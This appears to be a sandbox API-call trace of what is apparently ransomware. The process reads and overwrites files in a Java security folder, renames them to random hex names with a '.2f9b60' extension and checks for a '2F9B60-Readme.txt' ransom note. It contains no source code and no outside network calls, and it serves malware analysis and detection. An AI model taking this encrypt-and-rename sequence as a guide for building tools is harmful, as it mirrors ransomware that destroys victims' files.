RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9010 [0210.585] NtQuerySystemTime (in: CurrentTime=0x2470fce0 | out: CurrentTime=0x2470fce0*=132462178154590000) returned 0x0 [0210.585] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x4658c292 [0210.585] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x48c2efdf [0210.585] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x30b9cd1f [0210.585] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x6df37a29 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x3c614b0e [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x567d7de6 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x61518a85 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x6e7cdd6a [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x21360020 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x4ffcccb6 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x742a13ce [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x1c5b2db9 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x21360020 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x4a5e0e29 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x2d48ae72 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x31864822 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x1f794125 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x2e820a3b [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x2cf7f101 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x5e621ae9 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0xe6c882c [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x3b99ab56 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x138050b3 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x30a87d01 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x4ff9daaf [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x653e121f [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x4658c292 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x3838ca42 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x214e1cb [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x27f0a3b4 [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x60399aec [0210.586] RtlRandomEx (in: Seed=0x2470fcd0 | out: Seed=0x2470fcd0) returned 0x45bde9f0 [0210.594] ReadFile (in: hFile=0x8b0, lpBuffer=0x4208d570, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x2470fcd0, lpOverlapped=0x0 | out: lpBuffer=0x4208d570*, lpNumberOfBytesRead=0x2470fcd0*=0x62, lpOverlapped=0x0) returned 1 [0210.595] SetFilePointerEx (in: hFile=0x8b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.595] WriteFile (in: hFile=0x8b0, lpBuffer=0x420af200*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2470fcd4, lpOverlapped=0x0 | out: lpBuffer=0x420af200*, lpNumberOfBytesWritten=0x2470fcd4*=0x62, lpOverlapped=0x0) returned 1 [0215.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4a0 [0215.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3b0 [0215.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3b0) returned 1 [0215.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420af200) returned 1 [0215.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4208d570) returned 1 [0215.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23d20) returned 1 [0215.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0215.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204fe3b0 [0215.254] SetFilePointerEx (in: hFile=0x8b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.254] WriteFile (in: hFile=0x8b0, lpBuffer=0x423aba90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2470fdf0, lpOverlapped=0x0 | out: lpBuffer=0x423aba90*, lpNumberOfBytesWritten=0x2470fdf0*=0x10c, lpOverlapped=0x0) returned 1 [0217.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ef50 [0217.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ef50) returned 1 [0217.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x2050ef50 [0217.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd50 [0217.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ebc0 [0217.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ebc0) returned 1 [0217.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9edb0 [0217.674] sprintf (in: _Dest=0x1cd9edb0, _Format="%c%c" | out: _Dest="43") returned 2 [0217.674] sprintf (in: _Dest=0x1cd9edb2, _Format="%c%c" | out: _Dest="8d") returned 2 [0217.674] sprintf (in: _Dest=0x1cd9edb4, _Format="%c%c" | out: _Dest="4d") returned 2 [0217.674] sprintf (in: _Dest=0x1cd9edb6, _Format="%c%c" | out: _Dest="fc") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edb8, _Format="%c%c" | out: _Dest="92") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edba, _Format="%c%c" | out: _Dest="f3") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edbc, _Format="%c%c" | out: _Dest="12") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edbe, _Format="%c%c" | out: _Dest="85") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edc0, _Format="%c%c" | out: _Dest="16") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edc2, _Format="%c%c" | out: _Dest="50") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edc4, _Format="%c%c" | out: _Dest="c5") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edc6, _Format="%c%c" | out: _Dest="0c") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edc8, _Format="%c%c" | out: _Dest="05") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edca, _Format="%c%c" | out: _Dest="21") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edcc, _Format="%c%c" | out: _Dest="ab") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edce, _Format="%c%c" | out: _Dest="42") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edd0, _Format="%c%c" | out: _Dest="7a") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edd2, _Format="%c%c" | out: _Dest="3c") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edd4, _Format="%c%c" | out: _Dest="69") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edd6, _Format="%c%c" | out: _Dest="a3") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edd8, _Format="%c%c" | out: _Dest="bc") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edda, _Format="%c%c" | out: _Dest="65") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9eddc, _Format="%c%c" | out: _Dest="56") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9edde, _Format="%c%c" | out: _Dest="cd") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9ede0, _Format="%c%c" | out: _Dest="71") returned 2 [0217.675] sprintf (in: _Dest=0x1cd9ede2, _Format="%c%c" | out: _Dest="ba") returned 2 [0217.675] RtlInitAnsiString (in: DestinationString=0x2470fe68, SourceString="438d4dfc92f312851650c50c0521ab427a3c69a3bc6556cd71ba" | out: DestinationString="438d4dfc92f312851650c50c0521ab427a3c69a3bc6556cd71ba") [0217.675] RtlAnsiStringToUnicodeString (in: DestinationString=0x2470fe38, SourceString="438d4dfc92f312851650c50c0521ab427a3c69a3bc6556cd71ba", AllocateDestinationString=1 | out: DestinationString="438d4dfc92f312851650c50c0521ab427a3c69a3bc6556cd71ba") returned 0x0 [0217.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce245a0 [0217.676] wcscat (in: _Dest=0x431a22b0, _Source="438d4dfc92f31" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\438d4dfc92f31") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\438d4dfc92f31" [0217.676] wcscat (in: _Dest=0x431a22b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\438d4dfc92f31.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\438d4dfc92f31.2f9b60" [0217.676] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\438d4dfc92f31.2f9b60", NtPathName=0x2470fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\438d4dfc92f31.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b862880 [0237.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862880) returned 1 [0237.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b9cb0) returned 1 [0237.877] NtQueryInformationFile (in: FileHandle=0x8b0, IoStatusBlock=0x2470fe78, FileInformation=0x2470fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2470fe78, FileInformation=0x2470fe88) returned 0x0 [0237.877] NtSetInformationFile (FileHandle=0x8b0, IoStatusBlock=0x2470fe78, FileInformation=0x2470fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a22b0) returned 1 [0240.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0240.354] FlushFileBuffers (hFile=0x8b0) returned 1 [0240.643] CloseHandle (hObject=0x8b0) returned 1 [0242.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cddd0e0 [0242.727] wcscpy (in: _Dest=0x1cddd0e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0242.727] wcscat (in: _Dest=0x1cddd0e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt" [0242.727] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\2f9b60-readme.txt")) returned 0x20 [0242.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddd0e0) returned 1 [0242.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868740) returned 1 Thread: id = 3542 os_tid = 0x2094 [0210.177] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\local_policy.jar")) returned 0x20 [0210.309] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar", dwFileAttributes=0x20) returned 1 [0210.323] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa08 [0210.611] GetFileSizeEx (in: hFile=0xa08, lpFileSize=0x24effd40 | out: lpFileSize=0x24effd40*=2971) returned 1 [0210.611] SetFilePointerEx (in: hFile=0xa08, liDistanceToMove=0xb97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.611] ReadFile (in: hFile=0xa08, lpBuffer=0x24effcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24effd08, lpOverlapped=0x0 | out: lpBuffer=0x24effcc0*, lpNumberOfBytesRead=0x24effd08*=0x4, lpOverlapped=0x0) returned 1 [0210.622] SetFilePointerEx (in: hFile=0xa08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9bb0 [0210.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ee0 [0210.622] NtQuerySystemTime (in: CurrentTime=0x24effc00 | out: CurrentTime=0x24effc00*=132462178154902000) returned 0x0 [0210.622] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x54115da [0210.622] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x12f25047 [0210.622] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x3adb4797 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x1c17c0b6 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x9555077 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x28909bb5 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x6a96d75c [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x67818b1a [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x61a47d6b [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x54f29eca [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x23097b84 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x5c2cb174 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x1f6042eb [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x23865041 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x6780490b [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x6b2d258b [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x6894ae5c [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x38e437e1 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x4db858f [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x2a33fd7f [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x50e3bbb9 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x17c771dd [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x18fe16e3 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x6f0af075 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x250f319e [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x25671a73 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x3fb3445e [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x606e9f6a [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x48e8179f [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x57051576 [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x4db858f [0210.623] RtlRandomEx (in: Seed=0x24effbf0 | out: Seed=0x24effbf0) returned 0x3bf31b1e [0210.633] ReadFile (in: hFile=0xa08, lpBuffer=0x4283fa20, nNumberOfBytesToRead=0xb9b, lpNumberOfBytesRead=0x24effbf0, lpOverlapped=0x0 | out: lpBuffer=0x4283fa20*, lpNumberOfBytesRead=0x24effbf0*=0xb9b, lpOverlapped=0x0) returned 1 [0210.633] SetFilePointerEx (in: hFile=0xa08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.633] WriteFile (in: hFile=0xa08, lpBuffer=0x4286cae0*, nNumberOfBytesToWrite=0xb9b, lpNumberOfBytesWritten=0x24effbf4, lpOverlapped=0x0 | out: lpBuffer=0x4286cae0*, lpNumberOfBytesWritten=0x24effbf4*=0xb9b, lpOverlapped=0x0) returned 1 [0215.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a380 [0215.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0215.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0215.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4286cae0) returned 1 [0215.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4283fa20) returned 1 [0215.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24920) returned 1 [0215.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0215.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7aa9a0 [0215.270] SetFilePointerEx (in: hFile=0xa08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.270] WriteFile (in: hFile=0xa08, lpBuffer=0x423ab970*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x24effd10, lpOverlapped=0x0 | out: lpBuffer=0x423ab970*, lpNumberOfBytesWritten=0x24effd10*=0x112, lpOverlapped=0x0) returned 1 [0217.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f80 [0217.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f80) returned 1 [0217.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f80 [0217.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8d40 [0217.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9100 [0217.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9100) returned 1 [0217.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce616a0 [0217.682] sprintf (in: _Dest=0x1ce616a0, _Format="%c%c" | out: _Dest="21") returned 2 [0217.682] sprintf (in: _Dest=0x1ce616a2, _Format="%c%c" | out: _Dest="65") returned 2 [0217.682] sprintf (in: _Dest=0x1ce616a4, _Format="%c%c" | out: _Dest="a9") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616a6, _Format="%c%c" | out: _Dest="1c") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616a8, _Format="%c%c" | out: _Dest="21") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616aa, _Format="%c%c" | out: _Dest="d4") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616ac, _Format="%c%c" | out: _Dest="f5") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616ae, _Format="%c%c" | out: _Dest="df") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616b0, _Format="%c%c" | out: _Dest="35") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616b2, _Format="%c%c" | out: _Dest="4f") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616b4, _Format="%c%c" | out: _Dest="38") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616b6, _Format="%c%c" | out: _Dest="04") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616b8, _Format="%c%c" | out: _Dest="52") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616ba, _Format="%c%c" | out: _Dest="16") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616bc, _Format="%c%c" | out: _Dest="fb") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616be, _Format="%c%c" | out: _Dest="7e") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616c0, _Format="%c%c" | out: _Dest="4e") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616c2, _Format="%c%c" | out: _Dest="ba") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616c4, _Format="%c%c" | out: _Dest="7d") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616c6, _Format="%c%c" | out: _Dest="8c") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616c8, _Format="%c%c" | out: _Dest="75") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616ca, _Format="%c%c" | out: _Dest="1c") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616cc, _Format="%c%c" | out: _Dest="18") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616ce, _Format="%c%c" | out: _Dest="d0") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616d0, _Format="%c%c" | out: _Dest="0a") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616d2, _Format="%c%c" | out: _Dest="81") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616d4, _Format="%c%c" | out: _Dest="5b") returned 2 [0217.683] sprintf (in: _Dest=0x1ce616d6, _Format="%c%c" | out: _Dest="26") returned 2 [0217.684] sprintf (in: _Dest=0x1ce616d8, _Format="%c%c" | out: _Dest="0f") returned 2 [0217.684] sprintf (in: _Dest=0x1ce616da, _Format="%c%c" | out: _Dest="9b") returned 2 [0217.684] sprintf (in: _Dest=0x1ce616dc, _Format="%c%c" | out: _Dest="52") returned 2 [0217.684] sprintf (in: _Dest=0x1ce616de, _Format="%c%c" | out: _Dest="30") returned 2 [0217.684] RtlInitAnsiString (in: DestinationString=0x24effd88, SourceString="2165a91c21d4f5df354f38045216fb7e4eba7d8c751c18d00a815b260f9b5230" | out: DestinationString="2165a91c21d4f5df354f38045216fb7e4eba7d8c751c18d00a815b260f9b5230") [0217.684] RtlAnsiStringToUnicodeString (in: DestinationString=0x24effd58, SourceString="2165a91c21d4f5df354f38045216fb7e4eba7d8c751c18d00a815b260f9b5230", AllocateDestinationString=1 | out: DestinationString="2165a91c21d4f5df354f38045216fb7e4eba7d8c751c18d00a815b260f9b5230") returned 0x0 [0217.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x431a23d0 [0217.684] wcscat (in: _Dest=0x4318b8a0, _Source="2165a91c21d4f5df" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2165a91c21d4f5df") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2165a91c21d4f5df" [0217.685] wcscat (in: _Dest=0x4318b8a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2165a91c21d4f5df.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2165a91c21d4f5df.2f9b60" [0217.685] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2165a91c21d4f5df.2f9b60", NtPathName=0x24effd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2165a91c21d4f5df.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278830 [0240.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278830) returned 1 [0240.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b9ee0) returned 1 [0240.780] NtQueryInformationFile (in: FileHandle=0xa08, IoStatusBlock=0x24effd98, FileInformation=0x24effda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24effd98, FileInformation=0x24effda8) returned 0x0 [0240.780] NtSetInformationFile (FileHandle=0xa08, IoStatusBlock=0x24effd98, FileInformation=0x24effda8, Length=0x28, FileInformationClass=0x4) Thread: id = 3543 os_tid = 0x2148 [0210.178] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\trusted.libraries" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\trusted.libraries")) returned 0x20 [0210.310] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\trusted.libraries", dwFileAttributes=0x20) returned 1 [0210.324] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\trusted.libraries" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\trusted.libraries"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd70 [0210.621] GetFileSizeEx (in: hFile=0xd70, lpFileSize=0x217bf8a0 | out: lpFileSize=0x217bf8a0*=0) returned 1 [0210.621] FlushFileBuffers (hFile=0xd70) returned 1 [0213.133] CloseHandle (hObject=0xd70) returned 1 [0213.133] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\trusted.libraries", dwFileAttributes=0x20) returned 1 [0213.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1260) returned 1 Thread: id = 3544 os_tid = 0x2164 [0210.180] GetFileAttributesW 